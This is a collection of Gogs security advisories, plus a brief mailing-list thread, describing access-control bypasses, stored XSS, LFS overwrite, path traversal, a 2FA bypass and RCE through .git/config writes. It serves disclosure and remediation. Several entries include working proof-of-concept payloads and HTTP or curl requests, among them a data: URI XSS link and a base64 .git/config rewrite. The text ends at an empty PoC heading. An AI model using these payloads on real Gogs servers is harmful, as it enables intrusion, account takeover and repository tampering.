Gogs is an open source self-hosted Git service. In 0.14.3 and earlier, any authenticated user can watch a private repository they have no access to, because the access check in the Watch API handler is inverted. The code checks if repoCtx.ViewerCanRead() (returns 404 when the user CAN read) instead of if !repoCtx.ViewerCanRead() (return 404 when the user CANNOT read). Once watching, the attacker's dashboard activity feed shows commit messages, branch names, issue titles, and PR details from the private repository. If email notifications are enabled, the attacker also receives emails containing issue and comment content.
Gogs contains a path traversal vulnerability affecting improper Symbolic link handling in the PutContents API that could allow for code execution.
Gogs through 0.11.91 allows attackers to violate the admin-specified repo-creation policy due to an internal/db/repo.go race condition.
Summary A Stored Cross-site Scripting (XSS) vulnerability exists in the comment and issue description functionality. The application's HTML sanitizer explicitly allows data: URI schemes, enabling authenticated users to inject arbitrary JavaScript execution via malicious links.
Details The vulnerability is located in internal/markup/sanitizer.go. The application uses the bluemonday HTML sanitizer but explicitly weakens the security policy by allowing the data URL scheme:
go // internal/markup/sanitizer.go func NewSanitizer() { sanitizer.init.Do(func() { // ... // Data URLs sanitizer.policy.AllowURLSchemes("data") // ... }) }
While the Markdown renderer rewrites relative links (mitigating standard Markdown link attacks), Gogs supports Raw HTML input. Raw HTML anchor tags bypass the Markdown parser's link rewriting and are processed directly by the sanitizer. Since the sanitizer is configured to allow data: URIs, payloads like <a href="data:text/html..."> are rendered as-is.
PoC 1. Create a file named exploit.md in a repository. 2. Add the following content (Raw HTML): html <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me for XSS</a> 3. Commit and push the file. 4. Navigate to the file in the Gogs web interface. 5. Click the "Click me for XSS" link. 6. Result: An alert box with "XSS" appears, executing the JavaScript payload.
Impact This is a Stored XSS vulnerability. Any user who views the malicious comment and clicks the link will execute the attacker-supplied JavaScript in their browser context. This allows attackers to: Steal authentication cookies and session tokens. Perform arbitrary actions on behalf of the victim (e.g., modifying repositories, adding collaborators). Redirect users to malicious sites.
Summary
It was confirmed in a test environment that an attacker can store an HTML/JavaScript payload in a repository’s Milestone name, and when another user selects that Milestone on the New Issue page (/issues/new), a DOM-Based XSS is triggered.
Impact
Theft of information accessible in the victim’s session. Extraction of CSRF tokens and submission of state-changing requests with the victim’s privileges. Repository operations performed with the victim’s privileges (Issue operations, settings changes, etc.).
(The impact scope depends on the victim’s permission level.)
Remediation
A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2
Summary Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.
Details Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58
Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89
Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113
PoC
./gogs -v Gogs version 0.13.0
1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally
POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Content-Length: 168
{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}
response: <Response [200]> Connection: close Content-Length: 438 Content-Type: application/vnd.git-lfs+json Date: Thu, 28 Nov 2024 13:57:47 GMT Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'}, 'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'}, 'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}}, 'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a', 'size': 1048576}], 'transfer': 'basic'}
[STEP3] fileupload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='} response: <Response [200]> [verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Cookie: lang=en-US Content-Length: 92
{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}
response: <Response [200]> Connection: close Content-Length: 0 Date: Thu, 28 Nov 2024 13:57:47 GMT
In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git
PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a Content-Type: application/octet-stream Accept: application/vnd.git-lfs+json Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==
response: <Response [200]>
3. Verify the content has been overwritten:
curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i HTTP/1.1 200 OK Content-Length: 1048576 Connection: keep-alive Content-Type: application/octet-stream Date: Thu, 28 Nov 2024 14:01:53 GMT Keep-Alive: timeout=4 Proxy-Connection: keep-alive Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
curl: (18) transfer closed with 1048563 bytes remaining to read 2222 replaced
Impact All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.
Fix Suggestion
Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.
Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified
Summary
There is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.
Affected Component
- internal/database/release.go process.ExecDir(..., "git", "tag", "-d", rel.TagName)
Details
rel.TagName is used as a CLI argument to git tag -d without -- or --end-of-options. If the tag name begins with -, Git parses it as a flag.
The prior mitigation is incomplete. There is path sanitization in place during creation:
- internal/database/release.go r.TagName = strings.TrimLeft(r.TagName, "-")
But it only covers one creation path and does not reliably protect tag deletions, such as tags added through git push or ref updates.
Exploit Conditions 1. An attacker can add a tag name that starts with a dash into the repository. 2. A user with permission to delete releases triggers it through the web UI or API.
Recommended Fix
1. Add end-of-options in release deletion: - git tag -d -- <tagName> 2. It is better to use the safe git-module deletion helper since it handles options properly. 3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.
Impact - Option injection into git tag -d - Tag/release deletion can fail or behave unexpectedly - Operational denial of service in release cleanup workflows - Potential release metadata inconsistency
Summary
Stored XSS is still possible through unsafe template rendering that mixes user input with safe() plus permissive sanitizer handling of data URLs.
Details
safe() still turns off escaping: - internal/template/template.go - func safe(raw string) template.HTML { return template.HTML(raw) }
Branch pages still render committer names using safe(): - templates/repo/branches/overview.tmpl - templates/repo/branches/all.tmpl - templates/repo/wiki/view.tmpl
The locale still injects a raw second argument: conf/locale/localeen-US.ini (branches.updatedby = updated %[1]s by %[2]s)
Impact
An attacker who can inject commit metadata such as author/committer name can trigger script execution on affected pages, leading to session abuse, CSRF token theft, or unauthorized actions.
Recommended Fix
- Untrusted arguments should be escaped before being used in translations. - Data URLs should be limited or blocked in the sanitizer.
Remediation A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.
Summary
The Gogs API still accepts tokens in URL parameters such as token and accesstoken, which can leak through logs, browser history, and referrers.
Details
A static review shows that the API still checks tokens in the URL query before looking at headers:
- internal/context/auth.go reads c.Query("token") - internal/context/auth.go falls back to c.Query("accesstoken") - internal/context/auth.go only checks the Authorization header when the query token is empty - internal/context/auth.go authenticates using that token and marks the request as token-authenticated
Token-authenticated requests are accepted by API routes through c.IsTokenAuth checks: - internal/route/api/v1/api.go
Impact
If tokens are sent in URLs such as /api/v1/user?token=..., they can leak in logs, browser or shell history, and referrer headers, and can be reused until revoked.
Recommended Fix
- Authentication headers should be used exclusively for token transmission. - Token parameters should be blocked at the proxy or WAF level. - Query strings should be scrubbed from logs. - A strict referrer policy should be set.
Remediation
A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.
Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.
Details Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206
PoC bash add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push
Update file via API router http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token}
{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}
Impact RCE
Contact OpenAI Security Research at outbounddisclosures@openai.com to engage on this report. See PDF report for easier reading.
Security Advisory: 2FA Bypass via Recovery Code Vulnerability Type: 2FA Authentication Bypass Affected Software: GOGS Severity: High Date: Aug 5, 2025 Discoverer: OpenAI Security Research Summary Gogs’ 2FA recovery code validation does not scope codes by user, enabling cross-account bypass. If an attacker knows a victim’s username and password, they can use Security Advisory 2FA Bypass via Recovery Code - Google Docs.pdf any unused recovery code (e.g., from their own account) to bypass the victim’s 2FA. This enables full account takeover and renders 2FA ineffective in all environments where it's enabled. Affected Versions Software: Gogs Confirmed Version(s): All versions with 2FA support Likely Affected: All versions since introduction of UseRecoveryCode logic Introduced Commit: a617d52374e937db0edacfba2a26bdd14a05538e Commit: a617d52374e937db0edacfba2a26bdd14a05538e Author: Joe Chen Date: Apr 5, 2017 Description: 2fa: initial support
Vulnerability Details The function UseRecoveryCode in internal/database/twofactor.go fails to check that the recovery code belongs to the authenticating user. Instead, it looks for any unused recovery code: Vulnerable Code Snippet go func UseRecoveryCode( int64, code string) error { recoveryCode := new(TwoFactorRecoveryCode) has, err := x.Where("code = ?", code).And("isused = ?", false).Get(recoveryCode) ... } Although the caller passes userID, it is ignored. The result is a global lookup for any unused code, allowing an attacker to submit their own recovery code during another user's login flow.
Call Chain
web login handler → UseRecoveryCode(userID, code) → DB query without userID constraint Proof-of-Concept (PoC) Description This bug is tested against the latest version of Gogs hosted on Dockerhub. Attacker uses their own recovery code to bypass another user’s 2FA. Steps Create attacker account A and enable 2FA. Save a code like "abcde-fghij". Obtain credentials for victim B. Attempt login as B via web. When prompted for recovery code, submit A's code. Login as B succeeds; A's code is marked as used.
Impact 2FA rendered ineffective for all users Realistic Exploitation Scenarios Public Gogs instances with 2FA enabled Developer or maintainer accounts Enterprise self-hosted Gogs servers Potential Impact This vulnerability critically undermines 2FA. Since recovery codes are not globally unique and lack user scoping, any attacker with victim credentials can use one of their own recovery codes to complete login as the victim — bypassing all 2FA protections. This opens the door to account hijacking, data exfiltration, and downstream supply chain compromise. Timeline August 2025: Discovered via GPT5 August 2025: Reproduced and confirmed via PoC and sanitizer Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. OpenAI Security Research makes no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.] OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance. This issue has been fixed in version 0.14.1.
Summary
An access control bypass vulnerability in Gogs web interface allows any repository collaborator with Write permissions to delete protected branches (including the default branch) by sending a direct POST request, completely bypassing the branch protection mechanism. This vulnerability enables privilege escalation from Write to Admin level, allowing low-privilege users to perform dangerous operations that should be restricted to administrators only.
Although Git Hook layer correctly prevents protected branch deletion via SSH push, the web interface deletion operation does not trigger Git Hooks, resulting in complete bypass of protection mechanisms.
Details
Affected Component
- File: internal/route/repo/branch.go - Function: DeleteBranchPost (lines 110-155) - Route Configuration: internal/cmd/web.go:589 go m.Post("/delete/", reqSignIn, reqRepoWriter, repo.DeleteBranchPost)
Root Cause
The DeleteBranchPost function performs the following checks when deleting a branch: 1. ✅ User authentication (reqSignIn) 2. ✅ Write permission check (reqRepoWriter) 3. ✅ Branch existence verification 4. ✅ CommitID matching (optional parameter) 5. ❌ Missing protected branch check 6. ❌ Missing default branch check
While the UI layer (internal/route/repo/issue.go:646-658) correctly checks protected branch status and hides the delete button, attackers can directly construct POST requests to bypass UI restrictions.
Vulnerable Code
Vulnerable implementation (internal/route/repo/branch.go:110-155):
110:155:internal/route/repo/branch.go func DeleteBranchPost(c context.Context) { branchName := c.Params("") commitID := c.Query("commit")
defer func() { redirectTo := c.Query("redirectto") if !tool.IsSameSiteURLPath(redirectTo) { redirectTo = c.Repo.RepoLink } c.Redirect(redirectTo) }()
if !c.Repo.GitRepo.HasBranch(branchName) { return } if len(commitID) > 0 { branchCommitID, err := c.Repo.GitRepo.BranchCommitID(branchName) if err != nil { log.Error("Failed to get commit ID of branch %q: %v", branchName, err) return }
if branchCommitID != commitID { c.Flash.Error(c.Tr("repo.pulls.deletebranchhasnewcommits")) return } }
// 🔴 Vulnerability: Missing protected branch check here // Should add check like: // protectBranch, err := database.GetProtectBranchOfRepoByName(c.Repo.Repository.ID, branchName) // if protectBranch != nil && protectBranch.Protected { ... }
if err := c.Repo.GitRepo.DeleteBranch(branchName, git.DeleteBranchOptions{ Force: true, }); err != nil { log.Error("Failed to delete branch %q: %v", branchName, err) return }
if err := database.PrepareWebhooks(c.Repo.Repository, database.HookEventTypeDelete, &api.DeletePayload{ Ref: branchName, RefType: "branch", PusherType: api.PUSHERTYPEUSER, Repo: c.Repo.Repository.APIFormatLegacy(nil), Sender: c.User.APIFormat(), }); err != nil { log.Error("Failed to prepare webhooks for %q: %v", database.HookEventTypeDelete, err) return } }
Correct implementation in Git Hook (internal/cmd/hook.go:122-125):
go // check and deletion if newCommitID == git.EmptyID { fail(fmt.Sprintf("Branch '%s' is protected from deletion", branchName), "") }
Correct UI layer check (internal/route/repo/issue.go:646-658):
go protectBranch, err := database.GetProtectBranchOfRepoByName(pull.BaseRepoID, pull.HeadBranch) if err != nil { if !database.IsErrBranchNotExist(err) { c.Error(err, "get protect branch of repository by name") return } } else { branchProtected = protectBranch.Protected }
c.Data["IsPullBranchDeletable"] = pull.BaseRepoID == pull.HeadRepoID && c.Repo.IsWriter() && c.Repo.GitRepo.HasBranch(pull.HeadBranch) && !branchProtected // UI layer has check, but backend doesn't PoC
Prerequisites
1. Have Write permissions to the target repository (collaborator or team member) 2. Target repository has protected branches configured (e.g., main, master, develop) 3. Access to Gogs web interface
Send Malicious POST Request bash Directly send DELETE request bypassing UI protection curl -X POST \ -b cookies.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=YOURCSRFTOKEN" \ "https://gogs.example.com/username/repo/branches/delete/main" <img width="1218" height="518" alt="image" src="https://github.com/user-attachments/assets/745da7c3-6139-408c-9747-ccbe9ea8548f" />
Impact - Bypass branch protection mechanism: The core function of protected branches is to prevent deletion, and this vulnerability completely undermines this mechanism - Delete default branch: Can cause repository to become inaccessible (git clone/pull failures) - Bypass code review: After deleting protected branch, can push new branch bypassing Pull Request requirements - Privilege escalation: Writer permission users can perform operations that should only be allowed for Admins
Summary A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The UpdateLabel function in the Web UI (internal/route/repo/issue.go) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.
Details The vulnerability exists in the Web UI's label update endpoint POST /:username/:reponame/labels/edit. The handler function UpdateLabel uses an incorrect database query function that bypasses repository ownership validation:
Vulnerable Code (internal/route/repo/issue.go:1040-1054):
plain func UpdateLabel(c context.Context, f form.CreateLabel) { l, err := database.GetLabelByID(f.ID) // ❌ No repository validation if err != nil { c.NotFoundOrError(err, "get label by ID") return }
// ❌ Missing validation: l.RepoID != c.Repo.Repository.ID l.Name = f.Title l.Color = f.Color if err := database.UpdateLabel(l); err != nil { c.Error(err, "update label") return } c.RawRedirect(c.Repo.MakeURL("labels")) }
Root Cause:
1. The function calls database.GetLabelByID(f.ID) which internally passes repoID=0 to the ORM layer 2. According to code comments in internal/database/issuelabel.go:147-166, passing repoID=0 causes the ORM to ignore repository restrictions 3. No validation checks whether l.RepoID == c.Repo.Repository.ID before updating 4. The middleware reqRepoWriter() only validates write access to the repository in the URL path, not the label's actual repository
Inconsistency with Other Functions:
+ NewLabel: Correctly sets RepoID = c.Repo.Repository.ID + DeleteLabel: Correctly uses database.DeleteLabel(c.Repo.Repository.ID, id) + API EditLabel: Correctly uses database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)
- Only UpdateLabel in Web UI uses the vulnerable pattern
PoC Prerequisites:
+ Two user accounts: Alice (attacker) and Bob (victim) + alice has written access to repo-a + Bob owns repo-b with labels
Step 1: Identify Target Label ID
1. Login as bob, navigate to bob/repo-b/labels 2. Open browser DevTools (F12) → Network tab 3. Click edit on any label 4. Observe the form data: id=<LABELID> 5. Example: id=1
Step 2: Execute Attack
plain Login as alice, get session cookie Open DevTools → Application → Cookies → ilikegogs Copy the cookie value
Send malicious request curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \ -H "Cookie: ilikegogs=<ALICESESSIONCOOKIE>" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "id=1&title=HACKED-BY-ALICE&color=%23000000"
Expected response: 302 Found (redirect)
Step 3: Verify Impact
1. Login as bob 2. Navigate to bob/repo-b/labels 3. Observe: Label "P0-Critical" is now "HACKED-BY-ALICE" with black color
Impact 1. Issue Classification Disruption: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized
2. Security Issue Concealment: Change "security" labels to "documentation" to hide vulnerability reports from security teams
3. Workflow Sabotage: Alter labels used in CI/CD automation, breaking deployment pipelines
4. Mass Disruption: Batch modifies all labels across multiple repositories using ID enumeration
Recommended Fix:
plain func UpdateLabel(c context.Context, f form.CreateLabel) { l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID) if err != nil { c.NotFoundOrError(err, "get label of repository by ID") return } // Now label ownership is validated at database layer l.Name = f.Title l.Color = f.Color if err := database.UpdateLabel(l); err != nil { c.Error(err, "update label") return } c.RawRedirect(c.Repo.MakeURL("labels")) }
IDOR: Cross-Repository Comment Deletion via DeleteComment
Summary
The POST /:owner/:repo/issues/comments/:id/delete endpoint does not verify that the comment belongs to the repository specified in the URL. This allows a repository administrator to delete comments from any other repository by supplying arbitrary comment IDs, bypassing authorization controls.
Vulnerability Details
| Field | Value | |-------|-------| | Affected File | internal/route/repo/issue.go | | Affected Function | DeleteComment (lines 955-968) | | Secondary File | internal/database/comment.go | | Secondary Function | DeleteCommentByID (lines 505-520) |
Root Cause
The vulnerability exists due to insufficient authorization validation in the comment deletion flow:
1. Missing Repository Ownership Check in DeleteComment
In internal/route/repo/issue.go, the function retrieves a comment by ID without verifying repository ownership:
go func DeleteComment(c context.Context) { comment, err := database.GetCommentByID(c.ParamsInt64(":id")) if err != nil { c.NotFoundOrError(err, "get comment by ID") return }
// Only checks if user is comment poster OR admin of the CURRENT repo (from URL) if c.UserID() != comment.PosterID && !c.Repo.IsAdmin() { c.NotFound() return } else if comment.Type != database.CommentTypeComment { c.Status(http.StatusNoContent) return }
// No verification that comment.IssueID belongs to c.Repo.Repository.ID! if err = database.DeleteCommentByID(c.User, comment.ID); err != nil { c.Error(err, "delete comment by ID") return }
c.Status(http.StatusOK) }
2. Database Layer Performs No Authorization
In internal/database/comment.go, the deletion function performs no repository validation:
go func DeleteCommentByID(doer User, id int64) error { comment, err := GetCommentByID(id) if err != nil { if IsErrCommentNotExist(err) { return nil } return err }
// Directly deletes without checking repository ownership sess := x.NewSession() defer sess.Close() if err = sess.Begin(); err != nil { return err }
if , err = sess.ID(comment.ID).Delete(new(Comment)); err != nil { // ... } // ... }
Proof of Concept
Prerequisites
1. Two users: Alice (attacker) and Bob (victim) 2. Alice is admin of alice/attacker-repo 3. Bob has created an issue with a comment on bob/victim-repo 4. Attacker needs to obtain the comment ID from victim's repository (e.g., ID: 42)
HTTP Request
http POST /alice/attacker-repo/issues/comments/42/delete HTTP/1.1 Host: gogs.example.com Cookie: ilikegogs=<alicesessiontoken>
Summary A Path Traversal vulnerability exists in the updateWikiPage function of Gogs. The vulnerability allows an authenticated user with write access to a repository's wiki to delete arbitrary files on the server by manipulating the oldtitle parameter in the wiki editing form.
Vulnerability Deatils The vulnerability is located in internal/database/wiki.go. When updating a wiki page, the application accepts an oldtitle parameter to identify the potential rename operation. This parameter is used directly in path.Join and os.Remove without proper sanitization.
Code snippet from internal/database/wiki.go: go // Line 114 os.Remove(path.Join(localPath, oldTitle+".md"))
If an attacker provides a path traversal sequence (e.g., ../../../../target) as oldtitle, the os.Remove function will resolve the path relative to the wiki's local directory and delete the target file. The vulnerability is limited to deleting files that end with .md (due to the appended extension), but depending on the filesystem and specific path.Join behavior, or if critical .md files exist (e.g. documentation, other wikis), the impact is significant. Additionally, in some contexts, the extension might be bypassed or ignored.
Impact - Denial of Service: Deletion of critical configuration files or data (if they match the extension or via other tricks). - Data Loss: Deletion of other users' wiki pages or documentation.
Remediation Sanitize the oldTitle parameter using ToWikiPageName (or path.Clean and basename validation) before using it in file operations, similar to how the new title is currently handled.
go // Recommended Fix if oldTitle != "" { oldTitle = ToWikiPageName(oldTitle) }
Reproduction Steps 1. Log in to Gogs as a user with write access to a repository wiki. 2. Intercept the POST request to /repo/wiki/edit. 3. Modify the oldtitle parameter to ../../../../tmp/targetfile. 4. Submit the request. 5. Observe that /tmp/targetfile.md is deleted from the server.
Vulnerability Description
In the endpoint:
/username/reponame/settings/hooks/git/:name
the :name parameter:
Is URL-decoded by macaron routing, allowing decoded slashes (/) Is then passed directly to:
go git.Repository.Hook("customhooks", name)
which internally resolves the path as:
go filepath.Join(repoPath, "customhooks", name)
Because no path sanitization is applied, supplying ../ sequences allows access to arbitrary paths outside the repository.
As a Result:
GET: Arbitrary file contents are displayed in the hook edit page textarea (Local File Inclusion). POST: Existing files can be overwritten with attacker-controlled content (Arbitrary File Write).
---
Attack Prerequisites
The attacker is an authenticated user The attacker has Admin or higher privileges on the target repository The attacker has the AllowGitHook permission (or is a site administrator) The target file is readable/writable by the Gogs process OS permissions
---
Attack Scenario
1. An attacker (with AllowGitHook + repository Admin privileges) accesses the Git hook edit URL 2. A path containing ../ is supplied in :name, fully URL-encoded using %2f 3. The server resolves customhooks/../../... without validation 4. Arbitrary file contents are displayed and existing files can be overwritten
---
Potential Impact
Sensitive information disclosure: app.ini, databases, logs, environment variables, etc. Configuration or data tampering: Overwriting existing files Secondary impact: Extraction of SECRETKEY and database credentials may allow token forging or further compromise
Vulnerability Description
The endpoint PUT /repos/:owner/:repo/contents/ does not require write permissions and allows access with read permission only via repoAssignment().
After passing the permission check, PutContents() invokes UpdateRepoFile(), which results in:
Commit creation Execution of git push
As a result, a token with read-only permission can be used to modify repository contents.
---
Attack Prerequisites
Possession of a valid access token Read permission on the target repository (public repository or collaborator with read access)
---
Attack Scenario
1. The attacker accesses the target repository with a read-only token 2. The attacker sends a PUT /contents request to update an arbitrary file 3. The server creates a commit and performs a git push on behalf of the attacker
---
Potential Impact
Source code tampering Injection of backdoors Compromise of release artifacts and distributed packages
Summary An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.
Details If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 PoC Spam mirror-sync on repo and delete this repo code python spam mirror-sync py import requests
url = "http://gogs.lan:3000/superuser/gobypass403/settings" headers = { "Cookie": "lang=en-US; ilikegogs=fe32281ab84ae868; csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", }
data = { "csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", "action": "mirror-sync", }
while True: print("syncing") response = requests.post(url, headers=headers, data=data) Impact Denial of Service server crash.
On 2026-01-17 15:02:42, Collin Funk wrote: This just introduces TOCTOU races, no?
If someone can delete a portion of "opts.NewTreeName" and recreate an element as a symbolic link before "os.MkdirAll" is executed, they would be able to achieve the same thing as before the patch.
Surely Go has a way to use ONOFOLLOW, right? That would be the correct way to do it. I have not looked at the actual issue here, but in general even ONOFOLLOW is insufficient, because it only affects the trailing path component. To avoid symlinks in other components, you must carefully openat() each path component, one at a time, starting from the root.
On 12/10/25 11:18 PM, Alan Coopersmith wrote: https://github.com/gogs/gogs offers a MIT-licensed self-hosted git service. they are seeing being actively exploited. FYI, this was reportedly fixed in https://github.com/gogs/gogs/pull/8082
-Chad
Alan Coopersmith <alan.coopersmith () oracle com>, 2025-12-10 15:18: Gogs has a couple of notable forks: Gitea, Forgejo. Does anyone know if they are affected?
-- Jakub Wilk
Summary Due to the insufficient patch for the CVE-2024-39931, it's still possible to delete files under the .git directory and achieve remote command execution.
Details In the patch for CVE-2024-39931, the following check is added: https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9
diff + // 🚨 SECURITY: Prevent uploading files into the ".git" directory + if isRepositoryGitPath(opts.TreePath) { + return errors.Errorf("bad tree path %q", opts.TreePath) + }
While the above code snippet checks if the specified path is a .git directory, there are no checks for symbolic links in the later steps. So, by creating a symbolic link that points to the .git directory, an attacker can still delete arbitrary files in the .git directory and achieve remote command execution.
Impact Unprivileged user accounts can execute arbitrary commands on the Gogs instance with the privileges of the account specified by RUNUSER in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.
Summary
A stored XSS is present in Gogs which allows client-side Javascript code execution.
Details
Gogs Version: docker images REPOSITORY TAG IMAGE ID CREATED SIZE gogs/gogs latest fe92583bc4fe 10 hours ago 99.3MB
Application version: 0.14.0+dev
Local setup using: bash Pull image from Docker Hub. docker pull gogs/gogs
Create local directory for volume. sudo mkdir -p /var/gogs
Use docker run for the first time. docker run --name=gogs -p 10022:22 -p 10880:3000 -v /var/gogs:/data gogs/gogs
The vulnerability is caused by the usage of a vulnerable and outdated component: pdfjs-1.4.20 under public/plugins/. Read more about this vulnerability at codeanlabs - CVE-2024-4367.
PoC
